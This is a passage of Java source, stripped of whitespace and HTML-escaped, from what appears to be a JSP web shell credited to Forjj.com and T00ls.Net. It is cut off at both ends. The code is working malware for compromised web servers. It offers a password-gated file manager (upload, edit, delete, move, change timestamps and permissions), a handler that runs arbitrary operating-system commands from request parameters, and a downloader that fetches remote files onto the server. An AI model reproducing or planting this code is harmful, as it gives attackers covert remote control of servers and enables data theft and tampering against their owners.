rowsException{try{PrintWriterout=response.getWriter();out.println("&lt;styletype=\"text/css\"&gt;"+"input{font:11pxVerdana;BACKGROUND:#FFFFFF;height:18px;border:1pxsolid#666666;}"+"a{font:11pxVerdana;BACKGROUND:#FFFFFF;}"+"&lt;/style&gt;&lt;formmethod=\"POST\"action=\""+SHELL_NAME+"\"&gt;"+"&lt;p&gt;&lt;spanstyle=\"font:11pxVerdana;\"&gt;Password:&lt;/span&gt;"+"&lt;inputname=\"o\"type=\"hidden\"value=\"login\"&gt;"+"&lt;inputname=\"pw\"type=\"password\"size=\"20\"&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"login\"&gt;"+"&lt;inputtype=\"submit\"value=\"Login\"&gt;&lt;br/&gt;&lt;br/&gt;"+""+"&lt;spanstyle=\"font:11pxVerdana;\"&gt;Copyright&amp;copy;2009NinTy&lt;/span&gt;&lt;ahref=\"http://www.forjj.com\"target=\"_blank\"&gt;www.Forjj.com&lt;/a&gt;&lt;/p&gt;"+"&lt;/form&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassLoginInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{StringinputPw=request.getParameter("pw");if(Util.isEmpty(inputPw)||!inputPw.equals(PW)){response.sendRedirect(SHELL_NAME+"?o=vLogin");return;}else{JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);response.sendRedirect(SHELL_NAME+"?o=index");return;}}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassMyComparatorimplementsComparator&lt;File&gt;{publicintcompare(Filef1,Filef2){if(f1!=null&amp;&amp;f2!=null){if(f1.isDirectory()){if(f2.isDirectory()){returnf1.getName().compareTo(f2.getName());}else{return-1;}}else{if(f2.isDirectory()){return1;}else{returnf1.getName().compareTo(f2.getName());}}}return0;}}privatestaticclassFileListInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringpath=request.getParameter("folder");if(Util.isEmpty(path))path=JSession.getAttribute(CURRENT_DIR).toString();JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));Filefile=newFile(path);if(!file.exists()){thrownewException(path+"DontExists!");}JSession.setAttribute(CURRENT_DIR,path);File[]list=file.listFiles();Arrays.sort(list,newMyComparator());out.println("&lt;divstyle='margin:10px'&gt;");Stringcr=null;try{cr=JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);}catch(Exceptione){cr="/";}FilecurrentRoot=newFile(cr);out.println("&lt;h2&gt;FileManager-Currentdisk&amp;quot;"+(cr.indexOf("/")==0?"/":currentRoot.getPath())+"&amp;quot;total"+Util.getSize(currentRoot.getTotalSpace(),'G')+"&lt;/h2&gt;");out.println("&lt;formaction=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;tablewidth=\"98%\"border=\"0\"cellpadding=\"0\"cellspacing=\"0\"style=\"margin:10px0;\"&gt;"+"&lt;tr&gt;"+"&lt;tdnowrap&gt;CurrentDirectory&lt;inputtype=\"hidden\"name=\"o\"value=\"filelist\"/&gt;&lt;/td&gt;"+"&lt;tdwidth=\"98%\"&gt;&lt;inputclass=\"input\"name=\"folder\"value=\""+JSession.getAttribute(CURRENT_DIR)+"\"type=\"text\"style=\"width:100%;margin:08px;\"&gt;&lt;/td&gt;"+"&lt;tdnowrap&gt;&lt;inputclass=\"bt\"value=\"GO\"type=\"submit\"&gt;&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;"+"&lt;/form&gt;");out.println("&lt;tablewidth=\"98%\"border=\"0\"cellpadding=\"4\"cellspacing=\"0\"&gt;"+"&lt;formaction=\""+SHELL_NAME+"?o=upload\"method=\"POST\"enctype=\"multipart/form-data\"&gt;&lt;trclass=\"alt1\"&gt;&lt;tdcolspan=\"7\"style=\"padding:5px;\"&gt;"+"&lt;divstyle=\"float:right;\"&gt;&lt;inputclass=\"input\"name=\"file\"value=\"\"type=\"file\"/&gt;&lt;inputclass=\"bt\"name=\"doupfile\"value=\"Upload\"type=\"submit\"/&gt;&lt;/div&gt;"+"&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir()\"&gt;WebRoot&lt;/a&gt;"+"|&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir()\"&gt;ShellDirectory&lt;/a&gt;"+"|&lt;ahref=\"javascript:newfso({}).mkdir()\"&gt;NewDirectory&lt;/a&gt;|&lt;ahref=\"javascript:newfso({}).createFile()\"&gt;NewFile&lt;/a&gt;"+"|");File[]roots=file.listRoots();for(inti=0;i&lt;roots.length;i++){Filer=roots[i];out.println("&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(r.getPath())+"'}).subdir();\"&gt;Disk("+Util.convertPath(r.getPath())+")&lt;/a&gt;");if(i!=roots.length-1){out.println("|");}}out.println("&lt;/td&gt;"+"&lt;/tr&gt;&lt;/form&gt;"+"&lt;trclass=\"head\"&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;"+"&lt;td&gt;Name&lt;/td&gt;"+"&lt;tdwidth=\"16%\"&gt;LastModified&lt;/td&gt;"+"&lt;tdwidth=\"10%\"&gt;Size&lt;/td&gt;"+"&lt;tdwidth=\"20%\"&gt;Read/Write/Execute&lt;/td&gt;"+"&lt;tdwidth=\"22%\"&gt;&amp;nbsp;&lt;/td&gt;"+"&lt;/tr&gt;");if(file.getParent()!=null){out.println("&lt;trclass=alt1&gt;"+"&lt;tdalign=\"center\"&gt;&lt;fontface=\"Wingdings3\"size=4&gt;=&lt;/font&gt;&lt;/td&gt;"+"&lt;tdnowrapcolspan=\"5\"&gt;&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\"&gt;GotoParent&lt;/a&gt;&lt;/td&gt;"+"&lt;/tr&gt;");}intdircount=0;intfilecount=0;for(Filef:list){if(f.isDirectory()){dircount++;out.println("&lt;trclass=\"alt2\"onMouseOver=\"this.className='focus';\"onMouseOut=\"this.className='alt2';\"&gt;"+"&lt;tdwidth=\"2%\"nowrap&gt;&lt;fontface=\"wingdings\"size=\"3\"&gt;0&lt;/font&gt;&lt;/td&gt;"+"&lt;td&gt;&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\"&gt;"+f.getName()+"&lt;/a&gt;&lt;/td&gt;"+"&lt;tdnowrap&gt;"+Util.formatDate(f.lastModified())+"&lt;/td&gt;"+"&lt;tdnowrap&gt;--&lt;/td&gt;"+"&lt;tdnowrap&gt;"+f.canRead()+"/"+f.canWrite()+"/"+f.canExecute()+"&lt;/td&gt;"+"&lt;tdnowrap&gt;&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\"&gt;Del&lt;/a&gt;|&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\"&gt;Move&lt;/a&gt;|&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\"&gt;Pack&lt;/a&gt;&lt;/td&gt;"+"&lt;/tr&gt;");}else{filecount++;out.println("&lt;trclass=\"alt1\"onMouseOver=\"this.className='focus';\"onMouseOut=\"this.className='alt1';\"&gt;"+"&lt;tdwidth=\"2%\"nowrap&gt;&lt;inputtype='checkbox'value='"+f.getName()+"'/&gt;&lt;/td&gt;"+"&lt;td&gt;&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\"&gt;"+f.getName()+"&lt;/a&gt;&lt;/td&gt;"+"&lt;tdnowrap&gt;"+Util.formatDate(f.lastModified())+"&lt;/td&gt;"+"&lt;tdnowrap&gt;"+Util.getSize(f.length(),'B')+"&lt;/td&gt;"+"&lt;tdnowrap&gt;"+""+f.canRead()+"/"+f.canWrite()+"/"+f.canExecute()+"&lt;/td&gt;"+"&lt;tdnowrap&gt;"+"&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\"&gt;Edit&lt;/a&gt;|"+"&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\"&gt;Down&lt;/a&gt;|"+"&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\"&gt;Copy&lt;/a&gt;|"+"&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\"&gt;Move&lt;/a&gt;|"+"&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\"&gt;Property&lt;/a&gt;");if(f.getName().endsWith(".zip")){out.println("|&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\"&gt;UnPack&lt;/a&gt;");}elseif(f.getName().endsWith(".rar")){out.println("|&lt;ahref=\"javascript:alert('DontSupportRAR,PleaseUseWINRAR');\"&gt;UnPack&lt;/a&gt;");}else{out.println("|&lt;ahref=\"javascript:newfso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\"&gt;Pack&lt;/a&gt;");}out.println("&lt;/td&gt;"+"&lt;/tr&gt;");}}out.println("&lt;trclass=\"alt2\"&gt;&lt;tdalign=\"center\"&gt;&amp;nbsp;&lt;/td&gt;"+"&lt;td&gt;&lt;ahref=\"javascript:newfso({}).packBatch();\"&gt;PackSelected&lt;/a&gt;-&lt;ahref=\"javascript:newfso({}).deleteBatch();\"&gt;DeleteSelected&lt;/a&gt;&lt;/td&gt;"+"&lt;tdcolspan=\"4\"align=\"right\"&gt;"+dircount+"directories/"+filecount+"files&lt;/td&gt;&lt;/tr&gt;"+"&lt;/table&gt;");out.println("&lt;/div&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassLogoutInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Objectdbo=JSession.getAttribute(DBO);if(dbo!=null)((DBOperator)dbo).close();Objectobj=JSession.getAttribute(PORT_MAP);if(obj!=null){ServerSockets=(ServerSocket)obj;s.close();}Objectonline=JSession.getAttribute(SHELL_ONLINE);if(online!=null)((OnLineProcess)online).stop();JSession.invalidate();response.sendRedirect(SHELL_NAME+"?o=vLogin");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassUploadInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{UploadBeanfileBean=newUploadBean();response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());fileBean.parseRequest(request);JSession.setAttribute(MSG,"UploadFileSuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassCopyInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringsrc=request.getParameter("src");Stringto=request.getParameter("to");BufferedInputStreaminput=newBufferedInputStream(newFileInputStream(newFile(src)));BufferedOutputStreamoutput=newBufferedOutputStream(newFileOutputStream(newFile(to)));byte[]d=newbyte[1024];intlen=input.read(d);while(len!=-1){output.write(d,0,len);len=input.read(d);}output.close();input.close();JSession.setAttribute(MSG,"CopyFileSuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassBottomInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{response.getWriter().println("&lt;divstyle=\"padding:10px;border-bottom:1pxsolid#fff;border-top:1pxsolid#ddd;background:#eee;\"&gt;Copyright(C)2009&lt;ahref=\"http://www.forjj.com\"target=\"_blank\"&gt;http://www.Forjj.com/&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;atarget=\"_blank\"href=\"http://www.t00ls.net/\"&gt;[T00ls.Net]&lt;/a&gt;AllRightsReserved."+"&lt;/div&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVCreateFileInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringpath=request.getParameter("filepath");Filef=newFile(path);if(!f.isAbsolute()){StringoldPath=path;path=JSession.getAttribute(CURRENT_DIR).toString();if(!path.endsWith("/"))path+="/";path+=oldPath;f=newFile(path);f.createNewFile();}else{f.createNewFile();}out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;h2&gt;Create/EditFile&amp;raquo;&lt;/h2&gt;"+"&lt;inputtype='hidden'name='o'value='createFile'&gt;"+"&lt;p&gt;CurrentFile(importnewfilenameandnewfile)&lt;br/&gt;&lt;inputclass=\"input\"name=\"filepath\"id=\"editfilename\"value=\""+path+"\"type=\"text\"size=\"100\"/&gt;&lt;/p&gt;"+"&lt;p&gt;FileContent&lt;br/&gt;&lt;textareaclass=\"area\"id=\"filecontent\"name=\"filecontent\"cols=\"100\"rows=\"25\"&gt;&lt;/textarea&gt;&lt;/p&gt;"+"&lt;p&gt;&lt;inputclass=\"bt\"name=\"submit\"id=\"submit\"type=\"submit\"value=\"Submit\"&gt;&lt;inputclass=\"bt\"type=\"button\"value=\"Back\"onclick=\"history.back()\"&gt;&lt;/p&gt;"+"&lt;/form&gt;"+"&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVEditInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringpath=request.getParameter("filepath");Filef=newFile(path);if(f.exists()){BufferedReaderreader=newBufferedReader(newFileReader(f));StringBuildercontent=newStringBuilder();Strings=reader.readLine();while(s!=null){content.append(s+"\r\n");s=reader.readLine();}reader.close();out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;h2&gt;Create/EditFile&amp;raquo;&lt;/h2&gt;"+"&lt;inputtype='hidden'name='o'value='createFile'&gt;"+"&lt;p&gt;CurrentFile(importnewfilenameandnewfile)&lt;br/&gt;&lt;inputclass=\"input\"name=\"filepath\"id=\"editfilename\"value=\""+path+"\"type=\"text\"size=\"100\"/&gt;&lt;/p&gt;"+"&lt;p&gt;FileContent&lt;br/&gt;&lt;textareaclass=\"area\"id=\"filecontent\"name=\"filecontent\"cols=\"100\"rows=\"25\"&gt;"+Util.htmlEncode(content.toString())+"&lt;/textarea&gt;&lt;/p&gt;"+"&lt;p&gt;&lt;inputclass=\"bt\"name=\"submit\"id=\"submit\"type=\"submit\"value=\"Submit\"&gt;&lt;inputclass=\"bt\"type=\"button\"value=\"Back\"onclick=\"history.back()\"&gt;&lt;/p&gt;"+"&lt;/form&gt;"+"&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;");}}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassCreateFileInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringpath=request.getParameter("filepath");Stringcontent=request.getParameter("filecontent");BufferedWriterouts=newBufferedWriter(newFileWriter(newFile(path)));outs.write(content,0,content.length());outs.close();JSession.setAttribute(MSG,"SaveFileSuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVEditPropertyInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringfilepath=request.getParameter("filepath");Filef=newFile(filepath);if(!f.exists())return;Stringread=f.canRead()?"checked=\"checked\"":"";Stringwrite=f.canWrite()?"checked=\"checked\"":"";Stringexecute=f.canExecute()?"checked=\"checked\"":"";Calendarcal=Calendar.getInstance();cal.setTimeInMillis(f.lastModified());out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;h2&gt;SetFileProperty&amp;raquo;&lt;/h2&gt;"+"&lt;p&gt;Currentfile(fullpath)&lt;br/&gt;&lt;inputclass=\"input\"name=\"file\"id=\"file\"value=\""+request.getParameter("filepath")+"\"type=\"text\"size=\"120\"/&gt;&lt;/p&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"editProperty\"&gt;"+"&lt;p&gt;Read:"+"&lt;inputtype=\"checkbox\""+read+"name=\"read\"id=\"checkbox\"&gt;"+"Write:"+"&lt;inputtype=\"checkbox\""+write+"name=\"write\"id=\"checkbox2\"&gt;"+"Execute:"+"&lt;inputtype=\"checkbox\""+execute+"name=\"execute\"id=\"checkbox3\"&gt;"+"&lt;/p&gt;"+"&lt;p&gt;Instead&amp;raquo;"+"year:"+"&lt;inputclass=\"input\"name=\"year\"value="+cal.get(Calendar.YEAR)+"id=\"year\"type=\"text\"size=\"4\"/&gt;"+"month:"+"&lt;inputclass=\"input\"name=\"month\"value="+(cal.get(Calendar.MONTH)+1)+"id=\"month\"type=\"text\"size=\"2\"/&gt;"+"day:"+"&lt;inputclass=\"input\"name=\"date\"value="+cal.get(Calendar.DATE)+"id=\"date\"type=\"text\"size=\"2\"/&gt;"+""+"hour:"+"&lt;inputclass=\"input\"name=\"hour\"value="+cal.get(Calendar.HOUR)+"id=\"hour\"type=\"text\"size=\"2\"/&gt;"+"minute:"+"&lt;inputclass=\"input\"name=\"minute\"value="+cal.get(Calendar.MINUTE)+"id=\"minute\"type=\"text\"size=\"2\"/&gt;"+"second:"+"&lt;inputclass=\"input\"name=\"second\"value="+cal.get(Calendar.SECOND)+"id=\"second\"type=\"text\"size=\"2\"/&gt;"+"&lt;/p&gt;"+"&lt;p&gt;&lt;inputclass=\"bt\"name=\"submit\"value=\"Submit\"id=\"submit\"type=\"submit\"value=\"Submit\"&gt;&lt;inputclass=\"bt\"name=\"submit\"value=\"Back\"id=\"submit\"type=\"button\"onclick=\"history.back()\"&gt;&lt;/p&gt;"+"&lt;/form&gt;"+"&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassEditPropertyInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringf=request.getParameter("file");Filefile=newFile(f);if(!file.exists())return;Stringread=request.getParameter("read");Stringwrite=request.getParameter("write");Stringexecute=request.getParameter("execute");Stringyear=request.getParameter("year");Stringmonth=request.getParameter("month");Stringdate=request.getParameter("date");Stringhour=request.getParameter("hour");Stringminute=request.getParameter("minute");Stringsecond=request.getParameter("second");if(Util.isEmpty(read)){file.setReadable(false);}else{file.setReadable(true);}if(Util.isEmpty(write)){file.setWritable(false);}else{file.setWritable(true);}if(Util.isEmpty(execute)){file.setExecutable(false);}else{file.setExecutable(true);}Calendarcal=Calendar.getInstance();cal.set(Calendar.YEAR,Integer.parseInt(year));cal.set(Calendar.MONTH,Integer.parseInt(month)-1);cal.set(Calendar.DATE,Integer.parseInt(date));cal.set(Calendar.HOUR,Integer.parseInt(hour));cal.set(Calendar.MINUTE,Integer.parseInt(minute));cal.set(Calendar.SECOND,Integer.parseInt(second));if(file.setLastModified(cal.getTimeInMillis())){JSession.setAttribute(MSG,"ResetFilePropertySuccess!");}else{JSession.setAttribute(MSG,"ResetFilePropertyFailed!");}response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}//VShellprivatestaticclassVsInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringcmd=request.getParameter("command");Stringprogram=request.getParameter("program");if(cmd==null)cmd="cmd.exe/cset";if(program==null)program="cmd.exe/cnetstart&gt;"+SHELL_DIR+"/Log.txt";if(JSession.getAttribute(MSG)!=null){Util.outMsg(out,JSession.getAttribute(MSG).toString());JSession.removeAttribute(MSG);}out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;h2&gt;ExecuteProgram&amp;raquo;&lt;/h2&gt;"+"&lt;p&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"shell\"&gt;"+"&lt;inputtype=\"hidden\"name=\"type\"value=\"program\"&gt;"+"Parameter&lt;br/&gt;&lt;inputclass=\"input\"name=\"program\"id=\"program\"value=\""+program+"\"type=\"text\"size=\"100\"/&gt;"+"&lt;inputclass=\"bt\"name=\"submit\"id=\"submit\"value=\"Execute\"type=\"submit\"size=\"100\"/&gt;"+"&lt;/p&gt;"+"&lt;/form&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;h2&gt;ExecuteShell&amp;raquo;&lt;/h2&gt;"+"&lt;p&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"shell\"&gt;"+"&lt;inputtype=\"hidden\"name=\"type\"value=\"command\"&gt;"+"Parameter&lt;br/&gt;&lt;inputclass=\"input\"name=\"command\"id=\"command\"value=\""+cmd+"\"type=\"text\"size=\"100\"/&gt;"+"&lt;inputclass=\"bt\"name=\"submit\"id=\"submit\"value=\"Execute\"type=\"submit\"size=\"100\"/&gt;"+"&lt;/p&gt;"+"&lt;/form&gt;"+"&lt;/td&gt;"+"&lt;/tr&gt;&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassShellInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringtype=request.getParameter("type");if(type.equals("command")){ins.get("vs").invoke(request,response,JSession);out.println("&lt;divstyle='margin:10px'&gt;&lt;hr/&gt;");out.println("&lt;pre&gt;");Stringcommand=request.getParameter("command");if(!Util.isEmpty(command)){Processpro=Runtime.getRuntime().exec(command);BufferedReaderreader=newBufferedReader(newInputStreamReader(pro.getInputStream()));Strings=reader.readLine();while(s!=null){out.println(Util.htmlEncode(Util.getStr(s)));s=reader.readLine();}reader.close();out.println("&lt;/pre&gt;&lt;/div&gt;");}}else{Stringprogram=request.getParameter("program");if(!Util.isEmpty(program)){Processpro=Runtime.getRuntime().exec(program);JSession.setAttribute(MSG,"ProgramHasRunSuccess!");ins.get("vs").invoke(request,response,JSession);}}}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassDownInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringpath=request.getParameter("path");if(Util.isEmpty(path))return;Filef=newFile(path);if(!f.exists())return;response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET));BufferedInputStreaminput=newBufferedInputStream(newFileInputStream(f));BufferedOutputStreamoutput=newBufferedOutputStream(response.getOutputStream());byte[]data=newbyte[1024];intlen=input.read(data);while(len!=-1){output.write(data,0,len);len=input.read(data);}input.close();output.close();}catch(Exceptione){e.printStackTrace();throwe;}}}//VDownprivatestaticclassVdInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringsavepath=request.getParameter("savepath");Stringurl=request.getParameter("url");if(Util.isEmpty(url))url="http://www.forjj.com/";if(Util.isEmpty(savepath)){savepath=JSession.getAttribute(CURRENT_DIR).toString();}if(!Util.isEmpty(JSession.getAttribute("done"))){Util.outMsg(out,"DownloadRemoteFileSuccess!");JSession.removeAttribute("done");}out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;&lt;tr&gt;&lt;td&gt;"+"&lt;formname=\"form1\"id=\"form1\"action=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;h2&gt;RemoteFileDownLoad&amp;raquo;&lt;/h2&gt;"+"&lt;p&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"downRemote\"&gt;"+"RemoteFileURL:"+"&lt;inputclass=\"input\"name=\"url\"value=\""+url+"\"id=\"url\"type=\"text\"size=\"70\"/&gt;"+"SavePath:"+"&lt;inputclass=\"input\"name=\"savepath\"id=\"savepath\"value=\""+savepath+"\"type=\"text\"size=\"70\"/&gt;"+"&lt;inputclass=\"bt\"name=\"connect\"id=\"connect\"value=\"DownLoad\"type=\"submit\"size=\"100\"/&gt;"+"&lt;/p&gt;"+"&lt;/form&gt;&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassDownRemoteInvokerextendsDefaultInvoker{publicbooleandoBefore(){returntrue;}publicbooleandoAfter(){returntrue;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{StringdownFileUrl=request.getParameter("url");StringsavePath=request.getParameter("savepath");if(Util.isEmpty(downFileUrl)||Util.isEmpty(savePath))return;URLdownUrl=newURL(downFileUrl);URLConnectionconn=downUrl.openConnection();BufferedInputStreamin=newBufferedInputStream(conn.getInputStream());BufferedOutputStreamout=newBufferedOutputStream(newFileOutputStream(newFile(savePath)));byte[]data=newbyte[1024];intlen=in.read(data);while(len!=-1){out.write(data,0,len);len=in.read(data);}in.close();out.close();JSession.setAttribute("done","d");ins.get("vd").invoke(request,response,JSession);}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassIndexInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{ins.get("filelist").invoke(request,response,JSession);}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassMkDirInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringname=request.getParameter("name");Filef=newFile(name);if(!f.isAbsolute()){Stringpath=JSession.getAttribute(CURRENT_DIR).toString();if(!path.endsWith("/"))path+="/";path+=name;f=newFile(path);}f.mkdirs();JSession.setAttribute(MSG,"MakeDirectorySuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassMoveInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Stringsrc=request.getParameter("src");Stringtarget=request.getParameter("to");if(!Util.isEmpty(target)&amp;&amp;!Util.isEmpty(src)){Filefile=newFile(src);if(file.renameTo(newFile(target))){JSession.setAttribute(MSG,"MoveFileSuccess!");}else{Stringmsg="MoveFileFailed!";if(file.isDirectory()){msg+="TheMoveWillFailedWhenTheDirectoryIsNotEmpty.";}JSession.setAttribute(MSG,msg);}response.sendRedirect(SHELL_NAME+"?o=index");}}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassRemoteDirInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringdir=request.getParameter("dir");Filefile=newFile(dir);if(file.exists()){deleteFile(file);deleteDir(file);}JSession.setAttribute(MSG,"RemoveDirectorySuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}publicvoiddeleteFile(Filef){if(f.isFile()){f.delete();}else{File[]list=f.listFiles();for(Fileff:list){deleteFile(ff);}}}publicvoiddeleteDir(Filef){File[]list=f.listFiles();if(list.length==0){f.delete();}else{for(Fileff:list){deleteDir(ff);}deleteDir(f);}}}privatestaticclassPackBatchInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringfiles=request.getParameter("files");if(Util.